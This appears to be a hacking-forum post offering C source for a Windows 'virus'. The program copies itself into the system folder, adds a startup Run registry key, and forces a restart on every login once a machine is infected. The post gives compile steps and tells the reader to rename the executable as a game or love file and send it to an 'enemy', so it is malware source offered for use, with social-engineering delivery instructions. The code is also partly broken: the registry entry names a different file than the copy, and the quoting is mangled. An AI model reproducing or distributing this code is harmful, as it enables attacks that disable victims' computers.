C Virus to Restart PC
every time…
Hello fnds here is the C Source
code to Restart your PC every
time… this is a simple program
which make a .exe in SYSTEM
folder…and create registry to run
file when we login…
Source:-
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;
char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block
structure
done=findfirst(“C:\\windows\
\system”,&ffblk,FA_DIREC); //to
determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\
\system\\shacker.exe”,&ffblk,0); //
to determine whether the virus is
already installed or not
if(done==0)
{
found=1; //means that the
system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\
\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\
\system\\shacker.exe”,&ffblk,0);
if(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\
\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\
\system\\shacker.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\
\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\
\system\\shacker.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
clrscr();
findroot();
if(found==0) //if the system is not
already infected
{
self=fopen(_argv[0],”rb”); //The
virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\
\system
\\shacker.exe”,”wb”); //to place a
copy of itself in a remote place
system(“REG ADD
HKEY_CURRENT_USER\\Software\
\Microsoft\\Windows\
\CurrentVersion\\Run \/v sres \/t
REG_SZ \/d C:\\windows\\system\\
sysres.exe”); //put this file to
registry for starup
break;
case 2:
target=fopen(“D:\\windows\
\system
\\shacker.exe”,”wb”);
system(“REG ADD
HKEY_CURRENT_USER\\Software\
\Microsoft\\Windows\
\CurrentVersion\\Run \/v sres \/t
REG_SZ \/dD:\\windows\\system\
\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\
\system
\\shacker.exe”,”wb”);
system(“REG ADD
HKEY_CURRENT_USER\\Software\
\Microsoft\\Windows\
\CurrentVersion\\Run \/v sres \/t
REG_SZ \/dE:\\windows\\system\
\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\
\system
\\shacker.exe”,”wb”);
system(“REG ADD
HKEY_CURRENT_USER\\Software\
\Microsoft\\Windows\
\CurrentVersion\\Run \/v sres \/t
REG_SZ \/dF:\\windows\\system\
\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0?);
//if the
system is already infected then
just
give a command to restart
}
Copy this code in notepad and
open it in Turbo C++ Compiler…
NOTE:-
1. This can harm your
Computer..that do not run in your
own PC…
2. If Bi-mistake you run Program
than Goto safe mode and delete
Shacker.exe file
from System folder…
Now you ask me how to send
this virus to Victim…
1. Open this program in Turbo
C++…
2. Now Press F9 to linking it….
this can create .exe file in Source
folder….
3. Now Copy the .exe file and
rename it any thing like GAME,Love
etc…
4. ok…you complete..send the
file to your enemy…
NOTE:-
1. Do not Run OR Compile the
Proggy…
if you have any problem than
comment me …otherwise mail
me…..
Best of luck,….enjoy the Virus….
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